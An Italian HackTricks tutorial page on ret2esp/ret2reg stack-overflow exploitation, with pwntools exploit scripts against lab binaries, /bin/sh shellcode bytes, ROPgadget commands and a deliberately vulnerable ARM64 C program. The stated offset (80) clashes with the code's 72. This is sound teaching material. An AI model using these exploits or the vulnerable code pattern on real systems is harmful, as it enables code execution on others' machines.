Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Ret2esp
Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione jmp esp
o call esp
. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione ret
, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode.
Se Address Space Layout Randomization (ASLR) non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni jmp esp
o call esp
trovate nelle librerie condivise. Tuttavia, con ASLR attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere PIE).
Inoltre, essere in grado di posizionare il shellcode dopo la corruzione dell'EIP, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni push
o pop
eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.
Mancanza di spazio
Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode iniziale jmp
come:
sub rsp, 0x30
jmp rsp
E scrivi il shellcode all'inizio dello stack.
Esempio
Puoi trovare un esempio di questa tecnica in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit finale come:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Puoi vedere un altro esempio di questa tecnica in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. C'è un buffer overflow senza NX abilitato, viene utilizzato un gadget per ridurre l'indirizzo di $esp
e poi un jmp esp;
per saltare al shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Allo stesso modo, se sappiamo che una funzione restituisce l'indirizzo dove è memorizzato il shellcode, possiamo sfruttare le istruzioni call eax
o jmp eax
(note come tecnica ret2eax), offrendo un altro metodo per eseguire il nostro shellcode. Proprio come eax, qualsiasi altro registro contenente un indirizzo interessante potrebbe essere utilizzato (ret2reg).
Esempio
Puoi trovare alcuni esempi qui:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
memorizzerà ineax
l'indirizzo del buffer dove è stato memorizzato il shellcode eeax
non viene sovrascritto, quindi è possibile utilizzare unret2eax
.
ARM64
Ret2sp
In ARM64 non ci sono istruzioni che consentono di saltare al registro SP. Potrebbe essere possibile trovare un gadget che sposta sp in un registro e poi salta a quel registro, ma nella libc della mia kali non sono riuscito a trovare alcun gadget di questo tipo:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltare a esso (quindi diventerebbe inutile):
Ret2reg
Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando l'istruzione adeguata. Potresti usare qualcosa come:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64, è x0
che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Controllando la disassemblaggio della funzione, è possibile vedere che l'indirizzo del buffer (vulnerabile a bof e controllato dall'utente) è memorizzato in x0
prima di tornare dal buffer overflow:
È anche possibile trovare il gadget br x0
nella funzione do_stuff
:
Utilizzeremo quel gadget per saltarci perché il binario è compilato SENZA PIE. Usando un pattern è possibile vedere che l'offset del buffer overflow è 80, quindi l'exploit sarebbe:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Se invece di fgets
fosse stato usato qualcosa come read
, sarebbe stato possibile bypassare PIE anche sovrascrivendo solo gli ultimi 2 byte dell'indirizzo di ritorno per tornare all'istruzione br x0;
senza bisogno di conoscere l'indirizzo completo.
Con fgets
non funziona perché aggiunge un byte nullo (0x00) alla fine.
Protezioni
- NX: Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
- ASLR & PIE: Questi possono rendere più difficile trovare un'istruzione a cui saltare per esp o qualsiasi altro registro.
Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.